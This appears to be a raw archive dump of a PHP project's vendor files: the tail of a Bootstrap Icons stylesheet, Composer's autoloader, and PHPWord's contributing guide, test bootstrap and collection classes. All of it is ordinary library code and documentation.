"}.bi-clipboard2-plus::before{content:"\f72e"}.bi-clipboard2-pulse-fill::before{content:"\f72f"}.bi-clipboard2-pulse::before{content:"\f730"}.bi-clipboard2-x-fill::before{content:"\f731"}.bi-clipboard2-x::before{content:"\f732"}.bi-clipboard2::before{content:"\f733"}.bi-emoji-kiss-fill::before{content:"\f734"}.bi-emoji-kiss::before{content:"\f735"}.bi-envelope-heart-fill::before{content:"\f736"}.bi-envelope-heart::before{content:"\f737"}.bi-envelope-open-heart-fill::before{content:"\f738"}.bi-envelope-open-heart::before{content:"\f739"}.bi-envelope-paper-fill::before{content:"\f73a"}.bi-envelope-paper-heart-fill::before{content:"\f73b"}.bi-envelope-paper-heart::before{content:"\f73c"}.bi-envelope-paper::before{content:"\f73d"}.bi-filetype-aac::before{content:"\f73e"}.bi-filetype-ai::before{content:"\f73f"}.bi-filetype-bmp::before{content:"\f740"}.bi-filetype-cs::before{content:"\f741"}.bi-filetype-css::before{content:"\f742"}.bi-filetype-csv::before{content:"\f743"}.bi-filetype-doc::before{content:"\f744"}.bi-filetype-docx::before{content:"\f745"}.bi-filetype-exe::before{content:"\f746"}.bi-filetype-gif::before{content:"\f747"}.bi-filetype-heic::before{content:"\f748"}.bi-filetype-html::before{content:"\f749"}.bi-filetype-java::before{content:"\f74a"}.bi-filetype-jpg::before{content:"\f74b"}.bi-filetype-js::before{content:"\f74c"}.bi-filetype-jsx::before{content:"\f74d"}.bi-filetype-key::before{content:"\f74e"}.bi-filetype-m4p::before{content:"\f74f"}.bi-filetype-md::before{content:"\f750"}.bi-filetype-mdx::before{content:"\f751"}.bi-filetype-mov::before{content:"\f752"}.bi-filetype-mp3::before{content:"\f753"}.bi-filetype-mp4::before{content:"\f754"}.bi-filetype-otf::before{content:"\f755"}.bi-filetype-pdf::before{content:"\f756"}.bi-filetype-php::before{content:"\f757"}.bi-filetype-png::before{content:"\f758"}.bi-filetype-ppt::before{content:"\f75a"}.bi-filetype-psd::before{content:"\f75b"}.bi-filetype-py::before{content:"\f75c"}.bi-filetype-raw::before{content:"\f75d"}.bi-filetype-rb::before{content:"\f75e"}.bi-filetype-sass::before{content:"\f75f"}.bi-filetype-scss::before{content:"\f760"}.bi-filetype-sh::before{content:"\f761"}.bi-filetype-svg::before{content:"\f762"}.bi-filetype-tiff::before{content:"\f763"}.bi-filetype-tsx::before{content:"\f764"}.bi-filetype-ttf::before{content:"\f765"}.bi-filetype-txt::before{content:"\f766"}.bi-filetype-wav::before{content:"\f767"}.bi-filetype-woff::before{content:"\f768"}.bi-filetype-xls::before{content:"\f76a"}.bi-filetype-xml::before{content:"\f76b"}.bi-filetype-yml::before{content:"\f76c"}.bi-heart-arrow::before{content:"\f76d"}.bi-heart-pulse-fill::before{content:"\f76e"}.bi-heart-pulse::before{content:"\f76f"}.bi-heartbreak-fill::before{content:"\f770"}.bi-heartbreak::before{content:"\f771"}.bi-hearts::before{content:"\f772"}.bi-hospital-fill::before{content:"\f773"}.bi-hospital::before{content:"\f774"}.bi-house-heart-fill::before{content:"\f775"}.bi-house-heart::before{content:"\f776"}.bi-incognito::before{content:"\f777"}.bi-magnet-fill::before{content:"\f778"}.bi-magnet::before{content:"\f779"}.bi-person-heart::before{content:"\f77a"}.bi-person-hearts::before{content:"\f77b"}.bi-phone-flip::before{content:"\f77c"}.bi-plugin::before{content:"\f77d"}.bi-postage-fill::before{content:"\f77e"}.bi-postage-heart-fill::before{content:"\f77f"}.bi-postage-heart::before{content:"\f780"}.bi-postage::before{content:"\f781"}.bi-postcard-fill::before{content:"\f782"}.bi-postcard-heart-fill::before{content:"\f783"}.bi-postcard-heart::before{content:"\f784"}.bi-postcard::before{content:"\f785"}.bi-search-heart-fill::before{content:"\f786"}.bi-search-heart::before{content:"\f787"}.bi-sliders2-vertical::before{content:"\f788"}.bi-sliders2::before{content:"\f789"}.bi-trash3-fill::before{content:"\f78a"}.bi-trash3::before{content:"\f78b"}.bi-valentine::before{content:"\f78c"}.bi-valentine2::before{content:"\f78d"}.bi-wrench-adjustable-circle-fill::before{content:"\f78e"}.bi-wrench-adjustable-circle::before{content:"\f78f"}.bi-wrench-adjustable::before{content:"\f790"}.bi-filetype-json::before{content:"\f791"}.bi-filetype-pptx::before{content:"\f792"}.bi-filetype-xlsx::before{content:"\f793"}.bi-1-circle-fill::before{content:"\f796"}.bi-1-circle::before{content:"\f797"}.bi-1-square-fill::before{content:"\f798"}.bi-1-square::before{content:"\f799"}.bi-2-circle-fill::before{content:"\f79c"}.bi-2-circle::before{content:"\f79d"}.bi-2-square-fill::before{content:"\f79e"}.bi-2-square::before{content:"\f79f"}.bi-3-circle-fill::before{content:"\f7a2"}.bi-3-circle::before{content:"\f7a3"}.bi-3-square-fill::before{content:"\f7a4"}.bi-3-square::before{content:"\f7a5"}.bi-4-circle-fill::before{content:"\f7a8"}.bi-4-circle::before{content:"\f7a9"}.bi-4-square-fill::before{content:"\f7aa"}.bi-4-square::before{content:"\f7ab"}.bi-5-circle-fill::before{content:"\f7ae"}.bi-5-circle::before{content:"\f7af"}.bi-5-square-fill::before{content:"\f7b0"}.bi-5-square::before{content:"\f7b1"}.bi-6-circle-fill::before{content:"\f7b4"}.bi-6-circle::before{content:"\f7b5"}.bi-6-square-fill::before{content:"\f7b6"}.bi-6-square::before{content:"\f7b7"}.bi-7-circle-fill::before{content:"\f7ba"}.bi-7-circle::before{content:"\f7bb"}.bi-7-square-fill::before{content:"\f7bc"}.bi-7-square::before{content:"\f7bd"}.bi-8-circle-fill::before{content:"\f7c0"}.bi-8-circle::before{content:"\f7c1"}.bi-8-square-fill::before{content:"\f7c2"}.bi-8-square::before{content:"\f7c3"}.bi-9-circle-fill::before{content:"\f7c6"}.bi-9-circle::before{content:"\f7c7"}.bi-9-square-fill::before{content:"\f7c8"}.bi-9-square::before{content:"\f7c9"}.bi-airplane-engines-fill::before{content:"\f7ca"}.bi-airplane-engines::before{content:"\f7cb"}.bi-airplane-fill::before{content:"\f7cc"}.bi-airplane::before{content:"\f7cd"}.bi-alexa::before{content:"\f7ce"}.bi-alipay::before{content:"\f7cf"}.bi-android::before{content:"\f7d0"}.bi-android2::before{content:"\f7d1"}.bi-box-fill::before{content:"\f7d2"}.bi-box-seam-fill::before{content:"\f7d3"}.bi-browser-chrome::before{content:"\f7d4"}.bi-browser-edge::before{content:"\f7d5"}.bi-browser-firefox::before{content:"\f7d6"}.bi-browser-safari::before{content:"\f7d7"}.bi-c-circle-fill::before{content:"\f7da"}.bi-c-circle::before{content:"\f7db"}.bi-c-square-fill::before{content:"\f7dc"}.bi-c-square::before{content:"\f7dd"}.bi-capsule-pill::before{content:"\f7de"}.bi-capsule::before{content:"\f7df"}.bi-car-front-fill::before{content:"\f7e0"}.bi-car-front::before{content:"\f7e1"}.bi-cassette-fill::before{content:"\f7e2"}.bi-cassette::before{content:"\f7e3"}.bi-cc-circle-fill::before{content:"\f7e6"}.bi-cc-circle::before{content:"\f7e7"}.bi-cc-square-fill::before{content:"\f7e8"}.bi-cc-square::before{content:"\f7e9"}.bi-cup-hot-fill::before{content:"\f7ea"}.bi-cup-hot::before{content:"\f7eb"}.bi-currency-rupee::before{content:"\f7ec"}.bi-dropbox::before{content:"\f7ed"}.bi-escape::before{content:"\f7ee"}.bi-fast-forward-btn-fill::before{content:"\f7ef"}.bi-fast-forward-btn::before{content:"\f7f0"}.bi-fast-forward-circle-fill::before{content:"\f7f1"}.bi-fast-forward-circle::before{content:"\f7f2"}.bi-fast-forward-fill::before{content:"\f7f3"}.bi-fast-forward::before{content:"\f7f4"}.bi-filetype-sql::before{content:"\f7f5"}.bi-fire::before{content:"\f7f6"}.bi-google-play::before{content:"\f7f7"}.bi-h-circle-fill::before{content:"\f7fa"}.bi-h-circle::before{content:"\f7fb"}.bi-h-square-fill::before{content:"\f7fc"}.bi-h-square::before{content:"\f7fd"}.bi-indent::before{content:"\f7fe"}.bi-lungs-fill::before{content:"\f7ff"}.bi-lungs::before{content:"\f800"}.bi-microsoft-teams::before{content:"\f801"}.bi-p-circle-fill::before{content:"\f804"}.bi-p-circle::before{content:"\f805"}.bi-p-square-fill::before{content:"\f806"}.bi-p-square::before{content:"\f807"}.bi-pass-fill::before{content:"\f808"}.bi-pass::before{content:"\f809"}.bi-prescription::before{content:"\f80a"}.bi-prescription2::before{content:"\f80b"}.bi-r-circle-fill::before{content:"\f80e"}.bi-r-circle::before{content:"\f80f"}.bi-r-square-fill::before{content:"\f810"}.bi-r-square::before{content:"\f811"}.bi-repeat-1::before{content:"\f812"}.bi-repeat::before{content:"\f813"}.bi-rewind-btn-fill::before{content:"\f814"}.bi-rewind-btn::before{content:"\f815"}.bi-rewind-circle-fill::before{content:"\f816"}.bi-rewind-circle::before{content:"\f817"}.bi-rewind-fill::before{content:"\f818"}.bi-rewind::before{content:"\f819"}.bi-train-freight-front-fill::before{content:"\f81a"}.bi-train-freight-front::before{content:"\f81b"}.bi-train-front-fill::before{content:"\f81c"}.bi-train-front::before{content:"\f81d"}.bi-train-lightrail-front-fill::before{content:"\f81e"}.bi-train-lightrail-front::before{content:"\f81f"}.bi-truck-front-fill::before{content:"\f820"}.bi-truck-front::before{content:"\f821"}.bi-ubuntu::before{content:"\f822"}.bi-unindent::before{content:"\f823"}.bi-unity::before{content:"\f824"}.bi-universal-access-circle::before{content:"\f825"}.bi-universal-access::before{content:"\f826"}.bi-virus::before{content:"\f827"}.bi-virus2::before{content:"\f828"}.bi-wechat::before{content:"\f829"}.bi-yelp::before{content:"\f82a"}.bi-sign-stop-fill::before{content:"\f82b"}.bi-sign-stop-lights-fill::before{content:"\f82c"}.bi-sign-stop-lights::before{content:"\f82d"}.bi-sign-stop::before{content:"\f82e"}.bi-sign-turn-left-fill::before{content:"\f82f"}.bi-sign-turn-left::before{content:"\f830"}.bi-sign-turn-right-fill::before{content:"\f831"}.bi-sign-turn-right::before{content:"\f832"}.bi-sign-turn-slight-left-fill::before{content:"\f833"}.bi-sign-turn-slight-left::before{content:"\f834"}.bi-sign-turn-slight-right-fill::before{content:"\f835"}.bi-sign-turn-slight-right::before{content:"\f836"}.bi-sign-yield-fill::before{content:"\f837"}.bi-sign-yield::before{content:"\f838"}.bi-ev-station-fill::before{content:"\f839"}.bi-ev-station::before{content:"\f83a"}.bi-fuel-pump-diesel-fill::before{content:"\f83b"}.bi-fuel-pump-diesel::before{content:"\f83c"}.bi-fuel-pump-fill::before{content:"\f83d"}.bi-fuel-pump::before{content:"\f83e"}.bi-0-circle-fill::before{content:"\f83f"}.bi-0-circle::before{content:"\f840"}.bi-0-square-fill::before{content:"\f841"}.bi-0-square::before{content:"\f842"}.bi-rocket-fill::before{content:"\f843"}.bi-rocket-takeoff-fill::before{content:"\f844"}.bi-rocket-takeoff::before{content:"\f845"}.bi-rocket::before{content:"\f846"}.bi-stripe::before{content:"\f847"}.bi-subscript::before{content:"\f848"}.bi-superscript::before{content:"\f849"}.bi-trello::before{content:"\f84a"}.bi-envelope-at-fill::before{content:"\f84b"}.bi-envelope-at::before{content:"\f84c"}.bi-regex::before{content:"\f84d"}.bi-text-wrap::before{content:"\f84e"}.bi-sign-dead-end-fill::before{content:"\f84f"}.bi-sign-dead-end::before{content:"\f850"}.bi-sign-do-not-enter-fill::before{content:"\f851"}.bi-sign-do-not-enter::before{content:"\f852"}.bi-sign-intersection-fill::before{content:"\f853"}.bi-sign-intersection-side-fill::before{content:"\f854"}.bi-sign-intersection-side::before{content:"\f855"}.bi-sign-intersection-t-fill::before{content:"\f856"}.bi-sign-intersection-t::before{content:"\f857"}.bi-sign-intersection-y-fill::before{content:"\f858"}.bi-sign-intersection-y::before{content:"\f859"}.bi-sign-intersection::before{content:"\f85a"}.bi-sign-merge-left-fill::before{content:"\f85b"}.bi-sign-merge-left::before{content:"\f85c"}.bi-sign-merge-right-fill::before{content:"\f85d"}.bi-sign-merge-right::before{content:"\f85e"}.bi-sign-no-left-turn-fill::before{content:"\f85f"}.bi-sign-no-left-turn::before{content:"\f860"}.bi-sign-no-parking-fill::before{content:"\f861"}.bi-sign-no-parking::before{content:"\f862"}.bi-sign-no-right-turn-fill::before{content:"\f863"}.bi-sign-no-right-turn::before{content:"\f864"}.bi-sign-railroad-fill::before{content:"\f865"}.bi-sign-railroad::before{content:"\f866"}.bi-building-add::before{content:"\f867"}.bi-building-check::before{content:"\f868"}.bi-building-dash::before{content:"\f869"}.bi-building-down::before{content:"\f86a"}.bi-building-exclamation::before{content:"\f86b"}.bi-building-fill-add::before{content:"\f86c"}.bi-building-fill-check::before{content:"\f86d"}.bi-building-fill-dash::before{content:"\f86e"}.bi-building-fill-down::before{content:"\f86f"}.bi-building-fill-exclamation::before{content:"\f870"}.bi-building-fill-gear::before{content:"\f871"}.bi-building-fill-lock::before{content:"\f872"}.bi-building-fill-slash::before{content:"\f873"}.bi-building-fill-up::before{content:"\f874"}.bi-building-fill-x::before{content:"\f875"}.bi-building-fill::before{content:"\f876"}.bi-building-gear::before{content:"\f877"}.bi-building-lock::before{content:"\f878"}.bi-building-slash::before{content:"\f879"}.bi-building-up::before{content:"\f87a"}.bi-building-x::before{content:"\f87b"}.bi-buildings-fill::before{content:"\f87c"}.bi-buildings::before{content:"\f87d"}.bi-bus-front-fill::before{content:"\f87e"}.bi-bus-front::before{content:"\f87f"}.bi-ev-front-fill::before{content:"\f880"}.bi-ev-front::before{content:"\f881"}.bi-globe-americas::before{content:"\f882"}.bi-globe-asia-australia::before{content:"\f883"}.bi-globe-central-south-asia::before{content:"\f884"}.bi-globe-europe-africa::before{content:"\f885"}.bi-house-add-fill::before{content:"\f886"}.bi-house-add::before{content:"\f887"}.bi-house-check-fill::before{content:"\f888"}.bi-house-check::before{content:"\f889"}.bi-house-dash-fill::before{content:"\f88a"}.bi-house-dash::before{content:"\f88b"}.bi-house-down-fill::before{content:"\f88c"}.bi-house-down::before{content:"\f88d"}.bi-house-exclamation-fill::before{content:"\f88e"}.bi-house-exclamation::before{content:"\f88f"}.bi-house-gear-fill::before{content:"\f890"}.bi-house-gear::before{content:"\f891"}.bi-house-lock-fill::before{content:"\f892"}.bi-house-lock::before{content:"\f893"}.bi-house-slash-fill::before{content:"\f894"}.bi-house-slash::before{content:"\f895"}.bi-house-up-fill::before{content:"\f896"}.bi-house-up::before{content:"\f897"}.bi-house-x-fill::before{content:"\f898"}.bi-house-x::before{content:"\f899"}.bi-person-add::before{content:"\f89a"}.bi-person-down::before{content:"\f89b"}.bi-person-exclamation::before{content:"\f89c"}.bi-person-fill-add::before{content:"\f89d"}.bi-person-fill-check::before{content:"\f89e"}.bi-person-fill-dash::before{content:"\f89f"}.bi-person-fill-down::before{content:"\f8a0"}.bi-person-fill-exclamation::before{content:"\f8a1"}.bi-person-fill-gear::before{content:"\f8a2"}.bi-person-fill-lock::before{content:"\f8a3"}.bi-person-fill-slash::before{content:"\f8a4"}.bi-person-fill-up::before{content:"\f8a5"}.bi-person-fill-x::before{content:"\f8a6"}.bi-person-gear::before{content:"\f8a7"}.bi-person-lock::before{content:"\f8a8"}.bi-person-slash::before{content:"\f8a9"}.bi-person-up::before{content:"\f8aa"}.bi-scooter::before{content:"\f8ab"}.bi-taxi-front-fill::before{content:"\f8ac"}.bi-taxi-front::before{content:"\f8ad"}.bi-amd::before{content:"\f8ae"}.bi-database-add::before{content:"\f8af"}.bi-database-check::before{content:"\f8b0"}.bi-database-dash::before{content:"\f8b1"}.bi-database-down::before{content:"\f8b2"}.bi-database-exclamation::before{content:"\f8b3"}.bi-database-fill-add::before{content:"\f8b4"}.bi-database-fill-check::before{content:"\f8b5"}.bi-database-fill-dash::before{content:"\f8b6"}.bi-database-fill-down::before{content:"\f8b7"}.bi-database-fill-exclamation::before{content:"\f8b8"}.bi-database-fill-gear::before{content:"\f8b9"}.bi-database-fill-lock::before{content:"\f8ba"}.bi-database-fill-slash::before{content:"\f8bb"}.bi-database-fill-up::before{content:"\f8bc"}.bi-database-fill-x::before{content:"\f8bd"}.bi-database-fill::before{content:"\f8be"}.bi-database-gear::before{content:"\f8bf"}.bi-database-lock::before{content:"\f8c0"}.bi-database-slash::before{content:"\f8c1"}.bi-database-up::before{content:"\f8c2"}.bi-database-x::before{content:"\f8c3"}.bi-database::before{content:"\f8c4"}.bi-houses-fill::before{content:"\f8c5"}.bi-houses::before{content:"\f8c6"}.bi-nvidia::before{content:"\f8c7"}.bi-person-vcard-fill::before{content:"\f8c8"}.bi-person-vcard::before{content:"\f8c9"}.bi-sina-weibo::before{content:"\f8ca"}.bi-tencent-qq::before{content:"\f8cb"}.bi-wikipedia::before{content:"\f8cc"}.bi-alphabet-uppercase::before{content:"\f2a5"}.bi-alphabet::before{content:"\f68a"}.bi-amazon::before{content:"\f68d"}.bi-arrows-collapse-vertical::before{content:"\f690"}.bi-arrows-expand-vertical::before{content:"\f695"}.bi-arrows-vertical::before{content:"\f698"}.bi-arrows::before{content:"\f6a2"}.bi-ban-fill::before{content:"\f6a3"}.bi-ban::before{content:"\f6b6"}.bi-bing::before{content:"\f6c2"}.bi-cake::before{content:"\f6e0"}.bi-cake2::before{content:"\f6ed"}.bi-cookie::before{content:"\f6ee"}.bi-copy::before{content:"\f759"}.bi-crosshair::before{content:"\f769"}.bi-crosshair2::before{content:"\f794"}.bi-emoji-astonished-fill::before{content:"\f795"}.bi-emoji-astonished::before{content:"\f79a"}.bi-emoji-grimace-fill::before{content:"\f79b"}.bi-emoji-grimace::before{content:"\f7a0"}.bi-emoji-grin-fill::before{content:"\f7a1"}.bi-emoji-grin::before{content:"\f7a6"}.bi-emoji-surprise-fill::before{content:"\f7a7"}.bi-emoji-surprise::before{content:"\f7ac"}.bi-emoji-tear-fill::before{content:"\f7ad"}.bi-emoji-tear::before{content:"\f7b2"}.bi-envelope-arrow-down-fill::before{content:"\f7b3"}.bi-envelope-arrow-down::before{content:"\f7b8"}.bi-envelope-arrow-up-fill::before{content:"\f7b9"}.bi-envelope-arrow-up::before{content:"\f7be"}.bi-feather::before{content:"\f7bf"}.bi-feather2::before{content:"\f7c4"}.bi-floppy-fill::before{content:"\f7c5"}.bi-floppy::before{content:"\f7d8"}.bi-floppy2-fill::before{content:"\f7d9"}.bi-floppy2::before{content:"\f7e4"}.bi-gitlab::before{content:"\f7e5"}.bi-highlighter::before{content:"\f7f8"}.bi-marker-tip::before{content:"\f802"}.bi-nvme-fill::before{content:"\f803"}.bi-nvme::before{content:"\f80c"}.bi-opencollective::before{content:"\f80d"}.bi-pci-card-network::before{content:"\f8cd"}.bi-pci-card-sound::before{content:"\f8ce"}.bi-radar::before{content:"\f8cf"}.bi-send-arrow-down-fill::before{content:"\f8d0"}.bi-send-arrow-down::before{content:"\f8d1"}.bi-send-arrow-up-fill::before{content:"\f8d2"}.bi-send-arrow-up::before{content:"\f8d3"}.bi-sim-slash-fill::before{content:"\f8d4"}.bi-sim-slash::before{content:"\f8d5"}.bi-sourceforge::before{content:"\f8d6"}.bi-substack::before{content:"\f8d7"}.bi-threads-fill::before{content:"\f8d8"}.bi-threads::before{content:"\f8d9"}.bi-transparency::before{content:"\f8da"}.bi-twitter-x::before{content:"\f8db"}.bi-type-h4::before{content:"\f8dc"}.bi-type-h5::before{content:"\f8dd"}.bi-type-h6::before{content:"\f8de"}.bi-backpack-fill::before{content:"\f8df"}.bi-backpack::before{content:"\f8e0"}.bi-backpack2-fill::before{content:"\f8e1"}.bi-backpack2::before{content:"\f8e2"}.bi-backpack3-fill::before{content:"\f8e3"}.bi-backpack3::before{content:"\f8e4"}.bi-backpack4-fill::before{content:"\f8e5"}.bi-backpack4::before{content:"\f8e6"}.bi-brilliance::before{content:"\f8e7"}.bi-cake-fill::before{content:"\f8e8"}.bi-cake2-fill::before{content:"\f8e9"}.bi-duffle-fill::before{content:"\f8ea"}.bi-duffle::before{content:"\f8eb"}.bi-exposure::before{content:"\f8ec"}.bi-gender-neuter::before{content:"\f8ed"}.bi-highlights::before{content:"\f8ee"}.bi-luggage-fill::before{content:"\f8ef"}.bi-luggage::before{content:"\f8f0"}.bi-mailbox-flag::before{content:"\f8f1"}.bi-mailbox2-flag::before{content:"\f8f2"}.bi-noise-reduction::before{content:"\f8f3"}.bi-passport-fill::before{content:"\f8f4"}.bi-passport::before{content:"\f8f5"}.bi-person-arms-up::before{content:"\f8f6"}.bi-person-raised-hand::before{content:"\f8f7"}.bi-person-standing-dress::before{content:"\f8f8"}.bi-person-standing::before{content:"\f8f9"}.bi-person-walking::before{content:"\f8fa"}.bi-person-wheelchair::before{content:"\f8fb"}.bi-shadows::before{content:"\f8fc"}.bi-suitcase-fill::before{content:"\f8fd"}.bi-suitcase-lg-fill::before{content:"\f8fe"}.bi-suitcase-lg::before{content:"\f8ff"}.bi-suitcase::before{content:"\f900"}.bi-suitcase2-fill::before{content:"\f901"}.bi-suitcase2::before{content:"\f902"}.bi-vignette::before{content:"\f903"}vendor/autoload.php000066600000000653151150442730010374 0ustar00<?php

// autoload.php @generated by Composer

if (PHP_VERSION_ID < 50600) {
    echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
    exit(1);
}

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInitdf2c9e906ed8ff655773588ce86b4e05::getLoader();
vendor/phpoffice/phpword/CONTRIBUTING.md000066600000007305151150442730013733 0ustar00# Contributing to PHPWord

PHPWord is built by the crowd and for the crowd. Every contribution is welcome; either by [reporting a bug](https://github.com/PHPOffice/PHPWord/issues/new?labels=Bug+Report&template=bug_report.md) or [suggesting improvements](https://github.com/PHPOffice/PHPWord/issues/new?labels=Change+Request&template=feature_request.md), or in a more active form like [requesting a pull](https://github.com/PHPOffice/PHPWord/pulls).

We want to create a high quality document writer and reader library that people can use with more confidence and fewer bugs. We want to collaborate happily, code joyfully, and live merrily. Thus, below are some guidelines that we expect to be followed by each contributor:

- **Be brief, but be bold**. State your issues briefly. But speak out your ideas loudly, even if you can't or don't know how to implement them right away. The world will be better with limitless innovations.
- **Follow PHP-FIG standards**. We follow PHP Standards Recommendations (PSRs) by [PHP Framework Interoperability Group](http://www.php-fig.org/). If you're not familiar with these standards, [familiarize yourself now](https://github.com/php-fig/fig-standards). Also, please run `composer fix` to automatically fix your code to match these recommendations.
- **Test your code**. No one knows your code better than you, so we depend on you to test the changes you make before pull request submission. We use [PHPUnit](https://phpunit.de/) for our testing purposes and request that you use this tool too. Tests can be ran with `composer test`. [Documentation for writing tests with PHPUnit is available on Read the Docs.](https://phpunit.readthedocs.io)
- **Use best practices when submitting pull requests**. Create a separate branch named specifically for the issue that you are addressing. Read the [GitHub manual](https://help.github.com/articles/about-pull-requests) to learn more about pull requests and GitHub. If you are new to GitHub, read [this short manual](https://help.github.com/articles/fork-a-repo) to get yourself familiar with forks and how git works in general. [This video](http://www.youtube.com/watch?v=-zvHQXnBO6c) explains how to synchronize your fork on GitHub with the upstream branch from PHPWord.

## Getting Started

1. [Clone](https://help.github.com/en/articles/cloning-a-repository) [PHPWord](https://github.com/PHPOffice/PHPWord/)
2. [Install Composer](https://getcomposer.org/download/) if you don't already have it
3. Open your terminal and:
  1. Switch to the directory PHPWord was cloned to (e.g., `cd ~/Projects/PHPWord/`)
  2. Run `composer install` to install the dependencies

You're ready to start working on PHPWord! Tests belong in the `/tests/PhpWord/` directory, the source code is in `/src/PhpWord/`, and any documentation should go in `/docs/`. Familiarize yourself with the codebase and try your hand at fixing [one of our outstanding issues](https://github.com/PHPOffice/PHPWord/issues). Before you get started, check the [existing pull requests](https://github.com/PHPOffice/PHPWord/pulls) to make sure no one else is already working on it.

Once you have an issue you want to start working on, you'll need to write tests for it, and then you can start implementing the changes necessary to pass the new tests. To run the tests, you can run one of the following commands in your terminal:

- `composer test-no-coverage` to run all of the tests
- `composer test` to run all of the tests and generate test coverage reports

When you're ready to submit your new (and fully tested) feature, ensure `composer check` passes and [submit a pull request to PHPWord](https://github.com/PHPOffice/PHPWord/issues/new).

That's it. Thank you for your interest in PHPWord, and welcome!

May the Force be with you.
vendor/phpoffice/phpword/bootstrap.php000066600000002143151150442730014223 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors. test bootstrap
 *
 * @see         https://github.com/PHPOffice/PHPWord
 * @copyright   2010-2018 PHPWord contributors
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

$vendorDirPath = realpath(__DIR__ . '/vendor');
if (file_exists($vendorDirPath . '/autoload.php')) {
    require $vendorDirPath . '/autoload.php';
} else {
    throw new Exception(
        sprintf(
            'Could not find file \'%s\'. It is generated by Composer. Use \'install --prefer-source\' or \'update --prefer-source\' Composer commands to move forward.',
            $vendorDirPath . '/autoload.php'
        )
    );
}
vendor/phpoffice/phpword/src/PhpWord/Collection/AbstractCollection.php000066600000003446151150442730022241 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Collection;

/**
 * Collection abstract class.
 *
 * @since 0.10.0
 * @template T
 */
abstract class AbstractCollection
{
    /**
     * Items.
     *
     * @var T[]
     */
    private $items = [];

    /**
     * Get items.
     *
     * @return T[]
     */
    public function getItems(): array
    {
        return $this->items;
    }

    /**
     * Get item by index.
     *
     * @return ?T
     */
    public function getItem(int $index)
    {
        if (array_key_exists($index, $this->items)) {
            return $this->items[$index];
        }

        return null;
    }

    /**
     * Set item.
     *
     * @param ?T $item
     */
    public function setItem(int $index, $item): void
    {
        if (array_key_exists($index, $this->items)) {
            $this->items[$index] = $item;
        }
    }

    /**
     * Add new item.
     *
     * @param T $item
     */
    public function addItem($item): int
    {
        $index = $this->countItems();
        $this->items[$index] = $item;

        return $index;
    }

    /**
     * Get item count.
     */
    public function countItems(): int
    {
        return count($this->items);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Collection/Endnotes.php000066600000001524151150442730020234 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Collection;

use PhpOffice\PhpWord\Element\Endnote;

/**
 * Endnotes collection.
 *
 * @since 0.10.0
 * @extends AbstractCollection<Endnote>
 */
class Endnotes extends AbstractCollection
{
}
vendor/phpoffice/phpword/src/PhpWord/Collection/Charts.php000066600000001514151150442730017700 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Collection;

use PhpOffice\PhpWord\Element\Chart;

/**
 * Charts collection.
 *
 * @since 0.12.0
 * @extends AbstractCollection<Chart>
 */
class Charts extends AbstractCollection
{
}
vendor/phpoffice/phpword/src/PhpWord/Collection/Bookmarks.php000066600000001530151150442730020402 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Collection;

use PhpOffice\PhpWord\Element\Bookmark;

/**
 * Bookmarks collection.
 *
 * @since 0.12.0
 * @extends AbstractCollection<Bookmark>
 */
class Bookmarks extends AbstractCollection
{
}
vendor/phpoffice/phpword/src/PhpWord/Collection/Footnotes.php000066600000001530151150442730020432 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Collection;

use PhpOffice\PhpWord\Element\Footnote;

/**
 * Footnotes collection.
 *
 * @since 0.10.0
 * @extends AbstractCollection<Footnote>
 */
class Footnotes extends AbstractCollection
{
}
